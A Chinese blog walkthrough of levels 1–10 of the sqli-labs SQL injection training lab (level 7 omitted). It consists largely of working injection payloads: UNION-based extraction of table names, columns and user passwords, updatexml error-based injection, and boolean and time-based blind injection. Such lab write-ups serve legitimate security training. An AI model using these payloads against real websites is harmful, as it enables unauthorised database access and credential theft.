sql注入(sqli-labs-master)1~10

第一关:

 先查看注入类型

id=1" //返回正常
id=1'  //返回错误,说明单引号被带入到了后端参数中
id=1' and 1=1 --+ //查询返回值正常
id=1' and 1=2 --+ //查询返回值错误

//单引号报错型注入

查看字段

id=1' order by 1--+ //返回值正常
id=1' order by 2--+ //返回值正常
id=1' order by 3--+ //返回值正常
id=1' order by 4--+ //返回值错误

//说明存在三个字段

查看数据库名和数据库版本

id=1' and 1=2 union select 1,database(),version() --+
//database()数据库名
//version()数据库版本

 查看数据库表名

id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security'--+   //查询到一个表名

 利用group_concat函数查询所有表名

id=1' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

 查询users中的列名

1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

查询user和password字段

1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

 

第二关:

和第一关注入方法一样

只不过是数字型注入

id=1 and 1=2 union select 1,database(),version() --+  //查看数据库名和数据库版本

之后的注入方法一样

第三关:

也一样单引号和括号闭合

id=1') and 1=2 union select 1,database(),version()--+

第四关:

双引号和括号闭合

id=1") and 1=2 union select 1,database(),version()--+

第五关:

可以盲注也可以利用updatexml函数显示错误信息来进行注入

查询数据库名

id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

查询表名

id=1'+and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

查询列名

利用concat将updatexml函数和group_concat函数的字符传拼接成一条查询语句

id=1'+and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

查询username字段

id=1'+and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users),0x7e),1) --+

第六关:

和第五关一样将单引号换成双引号。

第八关:

判断字段

?id=1' order by 3 --+

判断数据库长度

id=1'  and length(database())='8'--+

判断数据库名称

?id=1'  and substring(database(),1,1)='s'--+
?id=1'  and substring(database(),2,1)='e'--+
?id=1'  and substring(database(),3,1)='r'--+

判断表长(以第四张表为例子)

?id=1%27 and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

第九关

单引号时间盲注

id=1' and if(length(database())>3 ,sleep(5),1) -- -

第十关:

双引号时间盲注

id=1" and if(length(database())>3 ,sleep(5),1) -- -

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值